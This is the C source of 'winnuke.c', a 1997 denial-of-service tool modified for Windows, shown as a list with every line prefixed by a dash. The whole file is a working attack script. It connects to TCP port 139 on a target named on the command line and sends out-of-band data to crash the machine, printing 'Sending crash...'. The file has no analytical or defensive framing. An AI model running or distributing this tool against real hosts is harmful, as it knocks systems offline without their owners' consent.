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- /* winnuke.c - (05/07/97) By _eci */
- /* modified for Windows (05/13/97) By _wfx */
- /* Tested on Win NT 4.0 */
-
- #include <stdio.h>
- #include <string.h>
- #include <winsock.h>
-
- #define dport 139 /* Attack port: 139 is what we want */
-
- int x, s;
- char *str = "Bye"; /* Makes no diff */
- struct sockaddr_in addr, spoofedaddr;
- struct hostent *host;
-
- int open_sock(int sock, char *server, short port) {
- struct sockaddr_in blah;
- struct hostent *he;
- memset((char *)&blah,'0', sizeof(blah));
-
- blah.sin_family=AF_INET;
- blah.sin_addr.s_addr=inet_addr(server);
- blah.sin_port=htons(port);
-
- if ((he = gethostbyname(server)) != NULL) {
- memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length );
- }
- else {
- if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
- perror("gethostbyname()");
- return(-3);
- }
- }
-
- if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
- perror("connect()");
- closesocket(sock);
- return(-4);
- }
-
- printf("Connected to [%s:%d].\n",server,port);
- return 0;
- }
-
-
- void main(int argc, char *argv[]) {
- WSADATA wsaData;
- int err;
- WORD wVersionRequested = MAKEWORD(1, 1);
-
- if (argc != 2) {
- printf("Usage: %s <target>\n",argv[0]);
- exit(0);
- }
-
- wVersionRequested = MAKEWORD(1, 1);
- if ( (err = WSAStartup(wVersionRequested, &wsaData)) != 0 ) {
- printf("Could not initialize Winsock.");
- exit(0);
- }
-
- if ( (s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
- {
- printf("%d ", WSAGetLastError());
- perror("socket()");
- exit(-1);
- }
-
- open_sock(s,argv[1],dport);
-
- printf("Sending crash... ");
- send(s,str,strlen(str),MSG_OOB);
- sleep(100000);
- printf("Done!\n");
- closesocket(s);
- }
-
-